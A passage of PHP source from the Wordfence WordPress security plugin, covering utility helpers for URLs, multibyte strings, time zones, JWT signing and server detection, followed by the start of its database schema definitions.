based on the requesting hostname. * * @param string $path * @param null|string $scheme * @return string */ public static function wpSiteURL($path = '', $scheme = null) { $siteurl = wfConfig::get('wp_site_url', ''); if (function_exists('get_bloginfo') && empty($siteurl)) { if (is_multisite()) { $siteurl = network_site_url($path, $scheme); } else { $siteurl = site_url($path, $scheme); } $siteurl = rtrim($siteurl, '/'); //Because previously we used get_bloginfo and it returns http://example.com without a '/' char. } else { $siteurl = set_url_scheme($siteurl, $scheme); if ($path && is_string($path)) { $siteurl .= '/' . ltrim($path, '/'); } } return $siteurl; } /** * Equivalent to network_admin_url but uses the cached value for the URL if we have it * to avoid breaking on sites that define it based on the requesting hostname. * * @param string $path * @param null|string $scheme * @return string */ public static function wpAdminURL($path = '', $scheme = null) { if (!is_multisite()) { $adminURL = self::wpSiteURL('wp-admin/', $scheme); } else { $adminURL = self::wpSiteURL('wp-admin/network/', $scheme); } if ($path && is_string($path)) { $adminURL .= ltrim($path, '/'); } if (!is_multisite()) { return apply_filters('admin_url', $adminURL, $path, null); } return apply_filters('network_admin_url', $adminURL, $path); } public static function wafInstallationType() { $storage = 'file'; if (defined('WFWAF_STORAGE_ENGINE')) { $storage = WFWAF_STORAGE_ENGINE; } try { $status = (defined('WFWAF_ENABLED') && !WFWAF_ENABLED) ? 'disabled' : wfWaf::getInstance()->getStorageEngine()->getConfig('wafStatus'); if (defined('WFWAF_ENABLED') && !WFWAF_ENABLED) { return "{$status}|const|{$storage}"; } else if (defined('WFWAF_SUBDIRECTORY_INSTALL') && WFWAF_SUBDIRECTORY_INSTALL) { return "{$status}|subdir|{$storage}"; } else if (defined('WFWAF_AUTO_PREPEND') && WFWAF_AUTO_PREPEND) { return "{$status}|extended|{$storage}"; } return "{$status}|basic|{$storage}"; } catch (Exception $e) { //Do nothing } return 'unknown'; } public static function hex2bin($string) { //Polyfill for PHP < 5.4 if (!is_string($string)) { return false; } if (strlen($string) % 2 == 1) { return false; } return pack('H*', $string); } /** * Returns whether or not the site should be treated as if it's full-time SSL. * * @return bool */ public static function isFullSSL() { return is_ssl() && parse_url(self::wpHomeURL(), PHP_URL_SCHEME) === 'https'; //It's possible for only wp-admin to be SSL so we check the home URL too } /** * Identical to the same functions in wfWAFUtils. * * Set the mbstring internal encoding to a binary safe encoding when func_overload * is enabled. * * When mbstring.func_overload is in use for multi-byte encodings, the results from * strlen() and similar functions respect the utf8 characters, causing binary data * to return incorrect lengths. * * This function overrides the mbstring encoding to a binary-safe encoding, and * resets it to the users expected encoding afterwards through the * `reset_mbstring_encoding` function. * * It is safe to recursively call this function, however each * `mbstring_binary_safe_encoding()` call must be followed up with an equal number * of `reset_mbstring_encoding()` calls. * * @see wfWAFUtils::reset_mbstring_encoding * * @staticvar array $encodings * @staticvar bool $overloaded * * @param bool $reset Optional. Whether to reset the encoding back to a previously-set encoding. * Default false. */ public static function mbstring_binary_safe_encoding($reset = false) { static $encodings = array(); static $overloaded = null; if (is_null($overloaded)) { // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated $overloaded = function_exists('mb_internal_encoding') && (ini_get('mbstring.func_overload') & 2); } if (false === $overloaded) { return; } if (!$reset) { $encoding = mb_internal_encoding(); array_push($encodings, $encoding); mb_internal_encoding('ISO-8859-1'); } if ($reset && $encodings) { $encoding = array_pop($encodings); mb_internal_encoding($encoding); } } /** * Reset the mbstring internal encoding to a users previously set encoding. * * @see wfWAFUtils::mbstring_binary_safe_encoding */ public static function reset_mbstring_encoding() { self::mbstring_binary_safe_encoding(true); } /** * @param callable $function * @param array $args * @return mixed */ protected static function callMBSafeStrFunction($function, $args) { self::mbstring_binary_safe_encoding(); $return = call_user_func_array($function, $args); self::reset_mbstring_encoding(); return $return; } /** * Multibyte safe strlen. * * @param $binary * @return int */ public static function strlen($binary) { $args = func_get_args(); return self::callMBSafeStrFunction('strlen', $args); } /** * @param $haystack * @param $needle * @param int $offset * @return int */ public static function stripos($haystack, $needle, $offset = 0) { $args = func_get_args(); return self::callMBSafeStrFunction('stripos', $args); } /** * @param $string * @return mixed */ public static function strtolower($string) { $args = func_get_args(); return self::callMBSafeStrFunction('strtolower', $args); } /** * @param $string * @param $start * @param $length * @return mixed */ public static function substr($string, $start, $length = null) { if ($length === null) { $length = self::strlen($string); } return self::callMBSafeStrFunction('substr', array( $string, $start, $length )); } /** * @param $haystack * @param $needle * @param int $offset * @return mixed */ public static function strpos($haystack, $needle, $offset = 0) { $args = func_get_args(); return self::callMBSafeStrFunction('strpos', $args); } /** * @param string $haystack * @param string $needle * @param int $offset * @param int $length * @return mixed */ public static function substr_count($haystack, $needle, $offset = 0, $length = null) { if ($length === null) { $length = self::strlen($haystack); } return self::callMBSafeStrFunction('substr_count', array( $haystack, $needle, $offset, $length )); } /** * @param $string * @return mixed */ public static function strtoupper($string) { $args = func_get_args(); return self::callMBSafeStrFunction('strtoupper', $args); } /** * @param string $haystack * @param string $needle * @param int $offset * @return mixed */ public static function strrpos($haystack, $needle, $offset = 0) { $args = func_get_args(); return self::callMBSafeStrFunction('strrpos', $args); } public static function sets_equal($a1, $a2) { if (!is_array($a1) || !is_array($a2)) { return false; } if (count($a1) != count($a2)) { return false; } sort($a1, SORT_NUMERIC); sort($a2, SORT_NUMERIC); return $a1 == $a2; } public static function array_first($array) { if (empty($array)) { return null; } $values = array_values($array); return $values[0]; } public static function array_last($array) { if (empty($array)) { return null; } $values = array_values($array); return $values[count($values) - 1]; } public static function array_strtolower($array) { $result = array(); foreach ($array as $a) { $result[] = strtolower($a); } return $result; } public static function array_column($input = null, $columnKey = null, $indexKey = null) { //Polyfill from https://github.com/ramsey/array_column/blob/master/src/array_column.php $argc = func_num_args(); $params = func_get_args(); if ($argc < 2) { trigger_error("array_column() expects at least 2 parameters, {$argc} given", E_USER_WARNING); return null; } if (!is_array($params[0])) { trigger_error( 'array_column() expects parameter 1 to be array, ' . gettype($params[0]) . ' given', E_USER_WARNING ); return null; } if (!is_int($params[1]) && !is_float($params[1]) && !is_string($params[1]) && $params[1] !== null && !(is_object($params[1]) && method_exists($params[1], '__toString'))) { trigger_error('array_column(): The column key should be either a string or an integer', E_USER_WARNING); return false; } if (isset($params[2]) && !is_int($params[2]) && !is_float($params[2]) && !is_string($params[2]) && !(is_object($params[2]) && method_exists($params[2], '__toString'))) { trigger_error('array_column(): The index key should be either a string or an integer', E_USER_WARNING); return false; } $paramsInput = $params[0]; $paramsColumnKey = ($params[1] !== null) ? (string) $params[1] : null; $paramsIndexKey = null; if (isset($params[2])) { if (is_float($params[2]) || is_int($params[2])) { $paramsIndexKey = (int) $params[2]; } else { $paramsIndexKey = (string) $params[2]; } } $resultArray = array(); foreach ($paramsInput as $row) { $key = $value = null; $keySet = $valueSet = false; if ($paramsIndexKey !== null && array_key_exists($paramsIndexKey, $row)) { $keySet = true; $key = (string) $row[$paramsIndexKey]; } if ($paramsColumnKey === null) { $valueSet = true; $value = $row; } elseif (is_array($row) && array_key_exists($paramsColumnKey, $row)) { $valueSet = true; $value = $row[$paramsColumnKey]; } if ($valueSet) { if ($keySet) { $resultArray[$key] = $value; } else { $resultArray[] = $value; } } } return $resultArray; } /** * Returns $string if it isn't empty, $ifEmpty if it is. * * @param string $string * @param string $ifEmpty * @return string */ public static function string_empty($string, $ifEmpty) { if (empty($string)) { return $ifEmpty; } return $string; } /** * Returns the current timestamp, adjusted as needed to get close to what we consider a true timestamp. We use this * because a significant number of servers are using a drastically incorrect time. * * @return int */ public static function normalizedTime($base = false) { if ($base === false) { $base = time(); } $offset = (int) wfConfig::get('timeoffset_wf', 0); return $base + $offset; } /** * Returns what we consider a true timestamp, adjusted as needed to match the local server's drift. We use this * because a significant number of servers are using a drastically incorrect time. * * @return int */ public static function denormalizedTime($base) { $offset = (int) wfConfig::get('timeoffset_wf', 0); return $base - $offset; } /** * Returns the number of minutes for the time zone offset from UTC. If $timestamp and using a named time zone, * it will be adjusted automatically to match whether or not the server's time zone is in Daylight Savings Time. * * @param bool|int $timestamp Assumed to be in UTC. If false, defaults to the current timestamp. * @return int */ public static function timeZoneMinutes($timestamp = false) { if ($timestamp === false) { $timestamp = time(); } $tz = get_option('timezone_string'); if (!empty($tz)) { $timezone = new DateTimeZone($tz); $dtStr = gmdate("c", (int) $timestamp); //Have to do it this way because of PHP 5.2 $dt = new DateTime($dtStr, $timezone); return (int) ($timezone->getOffset($dt) / 60); } else { $gmt = get_option('gmt_offset'); if (!empty($gmt)) { return (int) ($gmt * 60); } } return 0; } /** * Formats and returns the given timestamp using the time zone set for the WordPress installation. * * @param string $format See the PHP docs on DateTime for the format options. * @param int|bool $timestamp Assumed to be in UTC. If false, defaults to the current timestamp. * @return string */ public static function formatLocalTime($format, $timestamp = false) { if ($timestamp === false) { $timestamp = time(); } $utc = new DateTimeZone('UTC'); $dtStr = gmdate("c", (int) $timestamp); //Have to do it this way because of PHP 5.2 $dt = new DateTime($dtStr, $utc); $tz = get_option('timezone_string'); if (!empty($tz)) { $dt->setTimezone(new DateTimeZone($tz)); } else { $gmt = get_option('gmt_offset'); if (!empty($gmt)) { if (PHP_VERSION_ID < 50510) { $dtStr = gmdate("c", (int) ($timestamp + $gmt * 3600)); //Have to do it this way because of < PHP 5.5.10 $dt = new DateTime($dtStr, $utc); } else { $direction = ($gmt > 0 ? '+' : '-'); $gmt = abs($gmt); $h = (int) $gmt; $m = ($gmt - $h) * 60; $dt->setTimezone(new DateTimeZone($direction . str_pad($h, 2, '0', STR_PAD_LEFT) . str_pad($m, 2, '0', STR_PAD_LEFT))); } } } return $dt->format($format); } /** * Parses the given time string and returns its DateTime with the server's configured time zone. * * @param string $timestring * @return DateTime */ public static function parseLocalTime($timestring) { $utc = new DateTimeZone('UTC'); $tz = get_option('timezone_string'); if (!empty($tz)) { $tz = new DateTimeZone($tz); return new DateTime($timestring, $tz); } else { $gmt = get_option('gmt_offset'); if (!empty($gmt)) { if (PHP_VERSION_ID < 50510) { $timestamp = strtotime($timestring); $dtStr = gmdate("c", (int) ($timestamp + $gmt * 3600)); //Have to do it this way because of < PHP 5.5.10 return new DateTime($dtStr, $utc); } else { $direction = ($gmt > 0 ? '+' : '-'); $gmt = abs($gmt); $h = (int) $gmt; $m = ($gmt - $h) * 60; $tz = new DateTimeZone($direction . str_pad($h, 2, '0', STR_PAD_LEFT) . str_pad($m, 2, '0', STR_PAD_LEFT)); return new DateTime($timestring, $tz); } } } return new DateTime($timestring); } /** * Base64URL-encodes the given payload. This is identical to base64_encode except it substitutes characters * not safe for use in URLs. * * @param string $payload * @return string */ public static function base64url_encode($payload) { $intermediate = base64_encode($payload); $intermediate = rtrim($intermediate, '='); $intermediate = str_replace('+', '-', $intermediate); $intermediate = str_replace('/', '_', $intermediate); return $intermediate; } /** * Base64URL-decodes the given payload. This is identical to base64_encode except it allows for the characters * substituted by base64url_encode. * * @param string $payload * @return string */ public static function base64url_decode($payload) { $intermediate = str_replace('_', '/', $payload); $intermediate = str_replace('-', '+', $intermediate); $intermediate = base64_decode($intermediate); return $intermediate; } /** * Returns a signed JWT for the given payload. Payload is expected to be an array suitable for JSON-encoding. * * @param array $payload * @param int $maxAge How long the JWT will be considered valid. * @return string */ public static function generateJWT($payload, $maxAge = 604800 /* 7 days */) { $payload['_exp'] = time() + $maxAge; $key = wfConfig::get('longEncKey'); $header = '{"alg":"HS256","typ":"JWT"}'; $body = self::base64url_encode($header) . '.' . self::base64url_encode(json_encode($payload)); $signature = hash_hmac('sha256', $body, $key, true); return $body . '.' . self::base64url_encode($signature); } /** * Decodes and returns the payload of a JWT. This also validates the signature. * * @param string $token * @return array|bool The decoded payload or false if the token is invalid or fails validation. */ public static function decodeJWT($token) { $components = explode('.', $token); if (count($components) != 3) { return false; } $key = wfConfig::get('longEncKey'); $body = $components[0] . '.' . $components[1]; $signature = hash_hmac('sha256', $body, $key, true); $testSignature = self::base64url_decode($components[2]); if (!hash_equals($signature, $testSignature)) { return false; } $json = self::base64url_decode($components[1]); $payload = @json_decode($json, true); if (isset($payload['_exp']) && $payload['_exp'] < time()) { return false; } return $payload; } /** * Split a path into its components * @param string $path */ public static function splitPath($path) { return preg_split('/[\\/\\\\]/', $path, -1, PREG_SPLIT_NO_EMPTY); } /** * Convert an absolute path to a path relative to $to * @param string $absolute the absolute path to convert * @param string $to the absolute path from which to derive the relative path * @param bool $leadingSlash if true, prepend the resultant URL with a slash */ public static function relativePath($absolute, $to, $leadingSlash = false) { $trailingSlash = in_array(substr($absolute, -1), array('/', '\\')); $absoluteComponents = self::splitPath($absolute); $toComponents = self::splitPath($to); $relativeComponents = array(); do { $currentAbsolute = array_shift($absoluteComponents); $currentTo = array_shift($toComponents); } while($currentAbsolute === $currentTo && $currentAbsolute !== null); while ($currentTo !== null) { array_push($relativeComponents, '..'); $currentTo = array_shift($toComponents); } while ($currentAbsolute !== null) { array_push($relativeComponents, $currentAbsolute); $currentAbsolute = array_shift($absoluteComponents); } return implode(array( $leadingSlash ? '/' : '', implode('/', $relativeComponents), ($trailingSlash && (count($relativeComponents) > 0 || !$leadingSlash)) ? '/' : '' )); } /** * Determine the effective port given the output of parse_url * @param array $urlComponents * @return int the resolved port number */ private static function resolvePort($urlComponents) { if (array_key_exists('port', $urlComponents) && !empty($urlComponents['port'])) { return $urlComponents['port']; } if (array_key_exists('scheme', $urlComponents) && $urlComponents['scheme'] === 'https') { return 443; } return 80; } /** * Check if two site URLs identify the same site * @param string $a first url * @param string $b second url * @param array $ignoredSubdomains An array of subdomains to ignore when matching (e.g., www) * @return bool true if the URLs match, false otherwise */ public static function compareSiteUrls($a, $b, $ignoredSubdomains = array()) { $patterns = array_map(function($p) { return '/^' . preg_quote($p, '/') . '\\./i'; }, $ignoredSubdomains); $componentsA = parse_url($a); if (isset($componentsA['host'])) { $componentsA['host'] = preg_replace($patterns, '', $componentsA['host']); } $componentsB = parse_url($b); if (isset($componentsB['host'])) { $componentsB['host'] = preg_replace($patterns, '', $componentsB['host']); } foreach (array('host', 'port', 'path') as $component) { $valueA = array_key_exists($component, $componentsA) ? $componentsA[$component] : null; $valueB = array_key_exists($component, $componentsB) ? $componentsB[$component] : null; if ($valueA !== $valueB) { if ($component === 'port') { $portA = self::resolvePort($componentsA); $portB = self::resolvePort($componentsB); if ($portA !== $portB) return false; } else { return false; } } } return true; } public static function getHomePath() { if (!function_exists('get_home_path')) { include_once(ABSPATH . 'wp-admin/includes/file.php'); } if (WF_IS_FLYWHEEL) return trailingslashit($_SERVER['DOCUMENT_ROOT']); return get_home_path(); } public static function includeOnceIfPresent($path) { if (file_exists($path)) { @include_once($path); return @include_once($path); //Calling `include_once` for an already included file will return true } return false; } public static function isCurlSupported() { if (self::includeOnceIfPresent(ABSPATH . 'wp-includes/class-wp-http-curl.php')) return WP_Http_Curl::test(); return false; } private static function isValidJsonValue($value) { return json_encode($value) !== false; } private static function filterInvalidJsonValues($data, &$modified, &$valid = null) { if (is_array($data)) { $modified = array(); $filtered = array(); $valid = true; foreach ($data as $key => $value) { $value = self::filterInvalidJsonValues($value, $itemModified, $itemValid); if (($itemValid || $itemModified) && self::isValidJsonValue(array($key => $value))) { $filtered[$key] = $value; if ($itemModified) $modified[$key] = $itemModified; } else { $valid = false; } } return $filtered; } else { $modified = false; $valid = self::isValidJsonValue($data); if ($valid) { return $data; } else if (is_string($data)) { $modified = true; return base64_encode($data); } else { return null; } } } public static function jsonEncodeSafely($data) { $encoded = json_encode($data); if ($encoded === false) { $data = self::filterInvalidJsonValues($data, $modified); if ($modified) $data['__modified__'] = $modified; $encoded = json_encode($data); } return $encoded; } /** * Convenience function to extract a matched pattern from a string. If $pattern has no matching groups, the entire * matched portion is returned. If it has at least one matching group, the first one is returned (others are * ignored). If there is no match, false is returned. * * @param string $pattern * @param string $subject * @param bool $expandToLine Whether or not to expand the captured value to include the entire line's contents * @return false|string */ public static function pregExtract($pattern, $subject, $expandToLine = false) { if (preg_match($pattern, $subject, $matches, PREG_OFFSET_CAPTURE)) { if (count($matches) > 1) { $start = $matches[1][1]; $text = $matches[1][0]; $end = $start + strlen($text); } else { $start = $matches[0][1]; $text = $matches[0][0]; $end = $start + strlen($text); } if ($expandToLine) { if (preg_match_all('/[\r\n]/', substr($subject, 0, $start), $matches, PREG_OFFSET_CAPTURE)) { $start = $matches[0][count($matches[0]) - 1][1] + 1; } else { $start = 0; } if (preg_match('/[\r\n]/', $subject, $matches, PREG_OFFSET_CAPTURE, $end)) { $end = $matches[0][1]; } else { $end = strlen($subject) - 0; } $text = substr($subject, $start, $end - $start); } return $text; } return false; } /** * Returns whether or not MySQLi should be used directly when needed. Returns true if there's a valid DB handle, * our database test succeeded, our constant is not set to prevent it, and then either $wpdb indicates it's using * mysqli (older WordPress versions) or we're on PHP 7+ (only mysqli is ever used). * * @return bool */ public static function useMySQLi() { global $wpdb; $dbh = $wpdb->dbh; $useMySQLi = (is_object($dbh) && (PHP_MAJOR_VERSION >= 7 || $wpdb->use_mysqli) && wfConfig::get('allowMySQLi', true) && WORDFENCE_ALLOW_DIRECT_MYSQLI); return $useMySQLi; } } // GeoIP lib uses these as well if (!function_exists('inet_ntop')) { function inet_ntop($ip) { return wfUtils::_inet_ntop($ip); } } if (!function_exists('inet_pton')) { function inet_pton($ip) { return wfUtils::_inet_pton($ip); } } class wfWebServerInfo { const APACHE = 1; const NGINX = 2; const LITESPEED = 4; const IIS = 8; private $handler; private $software; private $softwareName; /** * */ public static function createFromEnvironment() { $serverInfo = new self; $sapi = php_sapi_name(); if (WF_IS_FLYWHEEL) { $serverInfo->setSoftware(self::NGINX); $serverInfo->setSoftwareName('Flywheel'); } else if (strpos($_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS') !== false || strpos($_SERVER['SERVER_SOFTWARE'], 'ExpressionDevServer') !== false) { $serverInfo->setSoftware(self::IIS); $serverInfo->setSoftwareName('iis'); } else if (strpos($_SERVER['SERVER_SOFTWARE'], 'nginx') !== false) { $serverInfo->setSoftware(self::NGINX); $serverInfo->setSoftwareName('nginx'); } else if (stripos($_SERVER['SERVER_SOFTWARE'], 'litespeed') !== false || $sapi == 'litespeed') { $serverInfo->setSoftware(self::LITESPEED); $serverInfo->setSoftwareName('litespeed'); } else if (stripos($_SERVER['SERVER_SOFTWARE'], 'apache') !== false) { $serverInfo->setSoftware(self::APACHE); $serverInfo->setSoftwareName('apache'); } $serverInfo->setHandler($sapi); return $serverInfo; } /** * @return bool */ public function isApache() { return $this->getSoftware() === self::APACHE; } /** * @return bool */ public function isNGINX() { return $this->getSoftware() === self::NGINX; } /** * @return bool */ public function isLiteSpeed() { return $this->getSoftware() === self::LITESPEED; } /** * @return bool */ public function isIIS() { return $this->getSoftware() === self::IIS; } /** * @return bool */ public function isApacheModPHP() { return $this->isApache() && function_exists('apache_get_modules'); } /** * Not sure if this can be implemented at the PHP level. * @return bool */ public function isApacheSuPHP() { return $this->isApache() && $this->isCGI() && function_exists('posix_getuid') && getmyuid() === posix_getuid(); } /** * @return bool */ public function isCGI() { return !$this->isFastCGI() && stripos($this->getHandler(), 'cgi') !== false; } /** * @return bool */ public function isFastCGI() { return stripos($this->getHandler(), 'fastcgi') !== false || stripos($this->getHandler(), 'fpm-fcgi') !== false; } /** * @return mixed */ public function getHandler() { return $this->handler; } /** * @param mixed $handler */ public function setHandler($handler) { $this->handler = $handler; } /** * @return mixed */ public function getSoftware() { return $this->software; } /** * @param mixed $software */ public function setSoftware($software) { $this->software = $software; } /** * @return mixed */ public function getSoftwareName() { return $this->softwareName; } /** * @param mixed $softwareName */ public function setSoftwareName($softwareName) { $this->softwareName = $softwareName; } }wfSchema.php000064400000025647147206764270007047 0ustar00 "( `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `type` varchar(255) NOT NULL DEFAULT '', `data` text NOT NULL, `event_time` double(14,4) NOT NULL, `request_id` bigint(20) unsigned NOT NULL, `state` enum('new','sending','sent') NOT NULL DEFAULT 'new', `state_timestamp` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), PRIMARY KEY (`id`) ) DEFAULT CHARSET=utf8", "wfSecurityEvents" => "( `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `type` varchar(255) NOT NULL DEFAULT '', `data` text NOT NULL, `event_time` double(14,4) NOT NULL, `state` enum('new','sending','sent') NOT NULL DEFAULT 'new', `state_timestamp` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), PRIMARY KEY (`id`) ) DEFAULT CHARSET=utf8", "wfBlocks7" => "( `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `type` int(10) unsigned NOT NULL DEFAULT '0', `IP` binary(16) NOT NULL DEFAULT '\\\0\\\0\\\0\\\0\\\0\\\0\\\0\\\0\\\0\\\0\\\0\\\0\\\0\\\0\\\0\\\0', `blockedTime` bigint(20) NOT NULL, `reason` varchar(255) NOT NULL, `lastAttempt` int(10) unsigned DEFAULT '0', `blockedHits` int(10) unsigned DEFAULT '0', `expiration` bigint(20) unsigned NOT NULL DEFAULT '0', `parameters` text, PRIMARY KEY (`id`), KEY `type` (`type`), KEY `IP` (`IP`), KEY `expiration` (`expiration`) ) DEFAULT CHARSET=utf8", "wfConfig" => "( `name` varchar(100) NOT NULL, `val` longblob, `autoload` enum('no','yes') NOT NULL DEFAULT 'yes', PRIMARY KEY (`name`) ) DEFAULT CHARSET=utf8", "wfCrawlers" => "( `IP` binary(16) NOT NULL DEFAULT '\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0', `patternSig` binary(16) NOT NULL, `status` char(8) NOT NULL, `lastUpdate` int(10) unsigned NOT NULL, `PTR` varchar(255) DEFAULT '', PRIMARY KEY (`IP`,`patternSig`) ) DEFAULT CHARSET=utf8", "wfFileChanges" => "( `filenameHash` char(64) NOT NULL, `file` varchar(1000) NOT NULL, `md5` char(32) NOT NULL, PRIMARY KEY (`filenameHash`) ) CHARSET=utf8", "wfHits" => "( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `attackLogTime` double(17,6) unsigned NOT NULL, `ctime` double(17,6) unsigned NOT NULL, `IP` binary(16) DEFAULT NULL, `jsRun` tinyint(4) DEFAULT '0', `statusCode` int(11) NOT NULL DEFAULT '200', `isGoogle` tinyint(4) NOT NULL, `userID` int(10) unsigned NOT NULL, `newVisit` tinyint(3) unsigned NOT NULL, `URL` text, `referer` text, `UA` text, `action` varchar(64) NOT NULL DEFAULT '', `actionDescription` text, `actionData` text, PRIMARY KEY (`id`), KEY `k1` (`ctime`), KEY `k2` (`IP`,`ctime`), KEY `attackLogTime` (`attackLogTime`) ) DEFAULT CHARSET=utf8", "wfIssues" => "( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `time` int(10) unsigned NOT NULL, `lastUpdated` int(10) unsigned NOT NULL, `status` varchar(10) NOT NULL, `type` varchar(20) NOT NULL, `severity` tinyint(3) unsigned NOT NULL, `ignoreP` char(32) NOT NULL, `ignoreC` char(32) NOT NULL, `shortMsg` varchar(255) NOT NULL, `longMsg` text, `data` text, PRIMARY KEY (`id`), KEY `lastUpdated` (`lastUpdated`), KEY `status` (`status`), KEY `ignoreP` (`ignoreP`), KEY `ignoreC` (`ignoreC`) ) DEFAULT CHARSET=utf8", "wfPendingIssues" => "( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `time` int(10) unsigned NOT NULL, `lastUpdated` int(10) unsigned NOT NULL, `status` varchar(10) NOT NULL, `type` varchar(20) NOT NULL, `severity` tinyint(3) unsigned NOT NULL, `ignoreP` char(32) NOT NULL, `ignoreC` char(32) NOT NULL, `shortMsg` varchar(255) NOT NULL, `longMsg` text, `data` text, PRIMARY KEY (`id`), KEY `lastUpdated` (`lastUpdated`), KEY `status` (`status`), KEY `ignoreP` (`ignoreP`), KEY `ignoreC` (`ignoreC`) ) DEFAULT CHARSET=utf8", "wfTrafficRates" => "( `eMin` int(10) unsigned NOT NULL, `IP` binary(16) NOT NULL DEFAULT '\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0', `hitType` enum('hit','404') NOT NULL DEFAULT 'hit', `hits` int(10) unsigned NOT NULL, PRIMARY KEY (`eMin`,`IP`,`hitType`) ) DEFAULT CHARSET=utf8", "wfLocs" => "( `IP` binary(16) NOT NULL DEFAULT '\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0', `ctime` int(10) unsigned NOT NULL, `failed` tinyint(3) unsigned NOT NULL, `city` varchar(255) DEFAULT '', `region` varchar(255) DEFAULT '', `countryName` varchar(255) DEFAULT '', `countryCode` char(2) DEFAULT '', `lat` float(10,7) DEFAULT '0.0000000', `lon` float(10,7) DEFAULT '0.0000000', PRIMARY KEY (`IP`) ) DEFAULT CHARSET=utf8", "wfLogins" => "( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `hitID` int(11) DEFAULT NULL, `ctime` double(17,6) unsigned NOT NULL, `fail` tinyint(3) unsigned NOT NULL, `action` varchar(40) NOT NULL, `username` varchar(255) NOT NULL, `userID` int(10) unsigned NOT NULL, `IP` binary(16) DEFAULT NULL, `UA` text, PRIMARY KEY (`id`), KEY `k1` (`IP`,`fail`), KEY `hitID` (`hitID`) ) DEFAULT CHARSET=utf8", "wfReverseCache" => "( `IP` binary(16) NOT NULL DEFAULT '\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0', `host` varchar(255) NOT NULL, `lastUpdate` int(10) unsigned NOT NULL, PRIMARY KEY (`IP`) ) DEFAULT CHARSET=utf8", "wfStatus" => "( `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `ctime` double(17,6) unsigned NOT NULL, `level` tinyint(3) unsigned NOT NULL, `type` char(5) NOT NULL, `msg` varchar(1000) NOT NULL, PRIMARY KEY (`id`), KEY `k1` (`ctime`), KEY `k2` (`type`) ) DEFAULT CHARSET=utf8", 'wfHoover' => "( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `owner` text, `host` text, `path` text, `hostKey` varbinary(124) DEFAULT NULL, PRIMARY KEY (`id`), KEY `k2` (`hostKey`) ) DEFAULT CHARSET=utf8", 'wfFileMods' => "( `filenameMD5` binary(16) NOT NULL, `filename` varchar(1000) NOT NULL, `knownFile` tinyint(3) unsigned NOT NULL, `oldMD5` binary(16) NOT NULL DEFAULT '', `newMD5` binary(16) NOT NULL, `SHAC` binary(32) NOT NULL DEFAULT '\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0', `stoppedOnSignature` varchar(255) NOT NULL DEFAULT '', `stoppedOnPosition` int(10) unsigned NOT NULL DEFAULT '0', `isSafeFile` varchar(1) NOT NULL DEFAULT '?', PRIMARY KEY (`filenameMD5`) ) DEFAULT CHARSET=utf8", 'wfBlockedIPLog' => "( `IP` binary(16) NOT NULL DEFAULT '\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0', `countryCode` varchar(2) NOT NULL, `blockCount` int(10) unsigned NOT NULL DEFAULT '0', `unixday` int(10) unsigned NOT NULL, `blockType` varchar(50) NOT NULL DEFAULT 'generic', PRIMARY KEY (`IP`,`unixday`,`blockType`) ) DEFAULT CHARSET=utf8", 'wfSNIPCache' => "( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `IP` varchar(45) NOT NULL DEFAULT '', `expiration` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP, `body` varchar(255) NOT NULL DEFAULT '', `count` int(10) unsigned NOT NULL DEFAULT '0', `type` int(10) unsigned NOT NULL DEFAULT '0', PRIMARY KEY (`id`), KEY `expiration` (`expiration`), KEY `IP` (`IP`), KEY `type` (`type`) ) DEFAULT CHARSET=utf8", 'wfKnownFileList' => "( `id` int(11) unsigned NOT NULL AUTO_INCREMENT, `path` text NOT NULL, PRIMARY KEY (`id`) ) DEFAULT CHARSET=utf8", 'wfNotifications' => "( `id` varchar(32) NOT NULL DEFAULT '', `new` tinyint(3) unsigned NOT NULL DEFAULT '1', `category` varchar(255) NOT NULL, `priority` int(11) NOT NULL DEFAULT '1000', `ctime` int(10) unsigned NOT NULL, `html` text NOT NULL, `links` text NOT NULL, PRIMARY KEY (`id`) ) DEFAULT CHARSET=utf8;", 'wfLiveTrafficHuman' => "( `IP` binary(16) NOT NULL DEFAULT '\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0', `identifier` binary(32) NOT NULL DEFAULT '\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0', `expiration` int(10) unsigned NOT NULL, PRIMARY KEY (`IP`,`identifier`), KEY `expiration` (`expiration`) ) DEFAULT CHARSET=utf8;", 'wfWafFailures' => "( `id` INT(10) UNSIGNED AUTO_INCREMENT PRIMARY KEY, `throwable` TEXT NOT NULL, `rule_id` INT(10) UNSIGNED, `timestamp` TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP ) DEFAULT CHARSET=utf8" ); private $db = false; public function __construct($dbhost = false, $dbuser = false, $dbpassword = false, $dbname = false){ $this->db = new wfDB(); } public function dropAll(){ foreach(self::$tables as $table => $def) { $originalTable = wfDB::networkPrefix() . $table; $convertedTable = wfDB::networkPrefix() . strtolower($table); $this->db->queryWrite("DROP TABLE IF EXISTS {$convertedTable}"); $this->db->queryWrite("DROP TABLE IF EXISTS {$originalTable}"); } foreach (self::$deprecatedTables as $table) { $originalTable = wfDB::networkTable($table, 